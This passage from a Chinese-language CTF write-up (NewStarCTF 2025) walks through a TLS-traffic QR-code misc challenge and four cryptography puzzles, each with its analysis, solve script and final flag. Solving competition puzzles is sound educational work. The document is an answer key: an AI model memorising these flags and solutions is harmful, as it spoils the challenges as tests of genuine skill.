(flag提交时去掉&符号)
Solution
先查看协议分级:

TLS 占比挺大

直接搜索 tls 发现 tls 密钥,具体使用方式此处不赘述,参考这篇 WP:磐石行动2025初赛 | Aristore
解密后筛选 tls 流量,追踪流翻了一下找到一段可疑的流量

1 | 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 |
用厨子 base64 解码得到一个二维码:

扫码得到 flag{W0w_You_r3al1y_knOW_TL5&QrCode}
根据题目描述把后面的 & 删了提交就行
FLAG
1 | flag{W0w_You_r3al1y_knOW_TL5QrCode} |
[Cry]final_R
Challenge
NewStar2025 密码收官之作。
1 | from secret import flag; from functools import reduce; from itertools import accumulate; import operator; print((lambda z: (a:=7, b:=0b10000011, c := 59, d := (1 << a) - 1, e := list(accumulate(range(d), lambda r, l: (r << 1) ^ b if (r << 1) & (1 << a) else r << 1, initial=1))[1:], g := e + e, h := [0] * (1 << a), [h.__setitem__(r, l) for l, r in enumerate(e)], j := [g[ord(s) % d] for s in z], k := [(lambda q: h[q] if q else 0)(reduce(operator.xor, (g[h[j[l]] + h[j[(p - l) % c]]] if j[l] and j[(p - l) % c] else 0 for l in range(c)), 0)) for p in range(c)], "".join(chr(l) for l in k).encode())[-1])(flag)) # b'MfYGCnO`w%\x07zSzejG#kkb\x01\x01%eS?]GO`?]\x03m?`ab`kbnsS]``][?S`C\x1dB?{m' |
Solution
1. 算法分析与解构
首先我们将这行代码分解为可读的步骤,并分析每个变量的作用。
常量定义
a = 7: 定义了运算的基本位宽,暗示了我们正在GF(2^7)有限域中操作。b = 0b10000011(131):这是GF(2^7)中的一个本原多项式x^7 + x + 1,常用于生成最大长度序列。c = 59:密文的长度。d = (1 << a) - 1 = 127:域中非零元素的数量。
密钥材料生成
e:使用b作为反馈多项式,通过线性反馈移位寄存器 (LFSR) 生成了一个长度为127的伪随机序列。该序列包含了1到127所有数字的唯一排列,可以看作是一个 S-Box。g:将序列e自身拼接一次(e + e),用于简化索引的模运算。h:e的反向查找表或逆S-Box。如果e[i] = v,那么h[v] = i。
加密流程
j:对flag的初步处理。每个字符s的 ASCII 码对127取模后,在g表中查找对应的值。k:核心加密循环,生成最终密文的 ASCII 码列表。其逻辑可以概括为:k[p] = h[ reduce(xor, generator) ]forpin0..58
其中generator产生一系列项g[h[j[l]] + h[j[(p - l) % 59]]]forlin0..58。
2. 发现漏洞
加密的核心在于 reduce(xor, ...) 这一步,它看起来像一个复杂的卷积操作。让我们深入分析这个异或求和。
为简化分析,我们定义 i_l = h[j[l]]。由于j[l] 是 g[ord(flag[l]) % 127],而 h 是 g 的逆查找表,因此可以推导出 i_l = ord(flag[l]) % 127。假设 flag 由标准ASCII字符构成,则 i_l = ord(flag[l])。
现在,异或求和中的每一项可以写成 g[i_l + i_{(p - l) % 59}]。
让我们观察当内层循环变量 l 变化时这些项的规律。考虑一个通项 Term(l) = g[i_l + i_{(p - l) % 59}]。
再考虑另一项,当循环变量为 l' = (p - l) % 59 时,我们得到 Term(l') = g[i_{(p - l) % 59} + i_{(p - (p - l)) % 59}] = g[i_{(p - l) % 59} + i_l]。
我们发现 Term(l) = Term(l')。这意味着:
- 如果
l ≠ (p - l) % 59,那么这两项会成对出现。在异或求和中,X ^ X = 0,因此所有成对的项都会相互抵消。 - 唯一的例外是当一项无法配对时,即
l = (p - l) % 59。
这个条件 l = (p - l) % 59 简化为 2l ≡ p (mod 59)。
由于 59 是素数,对于每一个 p(从0到58)都存在一个唯一的 l 满足此方程。
因此那个看似复杂的、包含59项的异或求和,实际上等价于这个唯一的、不会被抵消的项:reduce(xor, ...) = g[i_l + i_l] = g[2 * i_l],其中 l 满足 2l ≡ p (mod 59)。
3. 推导解密公式
我们将这个简化结果代回加密流程:k[p] = h[ g[2 * i_l] ]
由于 h 是 g(在 0..126 范围内)的逆,h[g[x]] 等价于 x。但是索引 2 * i_l 可能会超出 126,所以我们需要考虑 g 的定义(g=e+e)。g[idx] 实际上是 e[idx % 127]。
因此,h[g[2 * i_l]] = h[e[(2 * i_l) % 127]] = (2 * i_l) % 127。
至此,我们得到了一个极其简洁的线性同余方程,它直接关联了密文和明文:ord(ciphertext[p]) ≡ 2 * ord(flag[l]) (mod 127)
其中 l 和 p 依然满足关系 2l ≡ p (mod 59)。
4. 编写解密脚本
我们的任务是求解以下方程组:
l ≡ p * inv(2) (mod 59)ord(flag[l]) ≡ ord(ciphertext[p]) * inv(2) (mod 127)
我们需要计算两个模乘法逆元:
2在模59下的逆元:pow(2, -1, 59) = 302在模127下的逆元:pow(2, -1, 127) = 64
解密脚本的逻辑如下:
- 遍历密文索引
p从0到58。 - 对于每个
p,使用l = (p * 30) % 59计算出对应的flag索引l。 - 获取密文的ASCII码
k_p = ord(ciphertext[p])。 - 使用
ord(flag[l]) = (k_p * 64) % 127计算出flag对应位置字符的ASCII码。 - 将所有计算出的ASCII码存入列表,最后组合成字符串。
1 | C = 59 # 长度 |
FLAG
1 | flag{Circu1@r_c0nv01u7i0n_0N_v3c70R==5Qu@Ring_A_p01yn0mia!} |
[Cry]混沌密码学入门
Challenge
题目内容:
乱糟糟的,这是什么?(flag只含可读明文,下划线,问号,感叹号。)
出题人的环境是windows.
题目提示:出题人的环境是windows
Solution
加密过程还原:
生成序列:
1
2
3
4
5
6
7
8def Feigenbaum_Equation(a,b,r1,r2,x1,y1,n,t):
x=[x1]; y=[y1]
for _ in range(n):
x.append(3*a*sin(pi*x[-1])+r1*y[-1])
y.append(3*b*sin(pi*y[-1])+r2*y[-1])
return x[-t:], y[-t:]
xl,_ = Feigenbaum_Equation(0.9,1.01,0.1,0.2,0.22,0.43,2*n,n)构造三行矩阵并排序:
M[0] = [1..n](位置标号)M[1] = xl(用于排序)M[2] = pixel_list(像素序列,扫描顺序为先列x后行y)- 排序索引:
Mi = [index for index,_ in sorted(enumerate(M[1]), key=lambda x:x[1])] - 重排所有行:
row' = [row[i] for i in Mi]
写回图像:将重排后的像素序列(
M_[2])依次写回,得到chaos_chaos.png。
解密思路:
关键观察:加密是一一对应的单次置换,无信息丢失,只需构造逆置换即可还原。
构造置换
P:1
P = [idx for idx,_ in sorted(enumerate(xl), key=lambda x:x[1])]
逆置换规则:若加密后第
k个像素来自原图第j个位置,则P[k] == j。1
original[j] = scrambled[k] # 当 P[k] == j
保持扫描顺序一致:读取和写回像素都使用 chall.py 的同一顺序(外层
x,内层y)。
1 | from math import sin, pi |
得到图片:

用 StegSolve 处理一下:

FLAG
1 | flag{Does_it_look_chaotic?This_just_the_beginning!} |
[Cry]weil的噪声与秩序
Challenge
Weil配对是一种强大的工具,能将椭圆曲线上的点映射到乘法群中,创造出结构化的“秩序”。但当随机噪声被引入其中,这种秩序便会被打破。
你的任务是分析一组被Weil配对加密的数据,其中一部分是纯粹的秩序,另一部分则被强烈的噪声污染。区分它们,你就能读懂隐藏在背后的信息
Solution
加密逻辑复原:
根据 task.sage 的核心片段:
- 构造有限域
GF(p)和椭圆曲线E: y^2 = x^3 + 4;令群阶含有因子2^2*3^2*...。 - 将明文
flag转为 8 位二进制序列;逐位处理:- 若位为
1:- 取
(o//2//2)*E.random_element()生成 2-幂张量上的点P,Q; - 计算
d = P.weil_pairing(Q, 2) * getrandbits(381); - 将
d记入密文列表c。
- 取
- 若位为
0:- 取
(o//3//3)*E.random_element()生成 3-幂张量上的点P,Q; - 计算
d = P.weil_pairing(Q, 3)(无噪声); - 将
d记入密文列表c。
- 取
- 若位为
- 最终将
c写入c.py。
关键性质:
- Weil 配对
e_r(P,Q)的值属于单位根集合μ_r,其大小为r。r=2时,μ_2 = {+1, -1};但此分支随后乘以一个随机 381 位整数,结果几乎从不重复。r=3时,μ_3仅有 3 个可能值,且不乘噪声,因而在密文中会大量重复出现。
- 因此,密文数组中“重复频率最高的三个值”几乎必然来自
μ_3,对应位0;其余基本为一次性随机值,对应位1。
解题思路:
- 读取
c.py中的密文数组(Python 可直接import c)。 - 统计出现频率,取 Top-3 的值集合作为
μ_3候选(判定为位0)。 - 其余值判定为位
1。 - 每 8 位拼成一个字节,并按 UTF-8 解码为字符串得到
flag。
该思路完全依赖频率分布,不需要域参数 p、曲线细节或进行任何椭圆曲线/配对运算。
1 | from collections import Counter |
FLAG
1 | flag{let_m3_exam1n3_wh3ther_U_h@v3_handled_weil_pair1n9} |
[Cry]随机数之旅3.6
Challenge
关键在你拥有的信息
Solution
加密逻辑复原:
根据 random_jerni3.py 的核心片段:
- 生成随机
flag = 'flag{' + uuid4 + '}',令总长度为n。 - 取大素数
p = random_prime(2**64),在有限域Zmod(p)上工作。 - 设
m = n - 6,构造随机矩阵A ∈ Zmod(p)^{m×n}(元素取自[p//2, p-1])。 - 将
x = [ord(c) for c in flag]视为长度为n的向量,计算b = A * x (mod p)。 - 输出到
output.txt:第 1 行p,第 2 行A(按“行列表”序列化),第 3 行b。
关键性质:
- 已知的 6 个字符位置与值:
'f','l','a','g','{'与'}'。 - 未知字符个数为
n-6 = m,因此由未知列形成的子矩阵A_unknown为一个m×m方阵。 - 在素域
Zmod(p)上,随机方阵满秩概率极高;故线性系统可用“模p的高斯消元”直接求解。
解题思路:
- 读取
output.txt的三行,解析得到p、矩阵行列表A_rows、向量b。 - 先从
b中扣除已知 6 列的贡献,得到b' = b - A_known * x_known (mod p)。 - 抽取未知列形成方阵
A_unknown,在Zmod(p)上对方程组A_unknown * x_unknown ≡ b'做高斯消元,解出未知的 36 个 ASCII 值。 - 与已知 6 个字符合并,得到完整向量
x,转为字符串即为flag。 - 校验
flag格式:应为flag{<36位UUID>},检查连字符位置、版本位为4、变体位为8/9/a/b,并用uuid标准库验证。
1 | import ast |
FLAG
1 | flag{0b319110-bdfa-411c-957f-50bdabe1fa1c} |
- 标题: NewStarCTF 2025
- 作者: Aristore
- 创建于 : 2025-11-04 18:00:00
- 更新于 : 2025-11-04 18:18:08
- 链接: https://www.aristore.top/posts/NewStarCTF2025/
- 版权声明: 版权所有 © Aristore,禁止转载。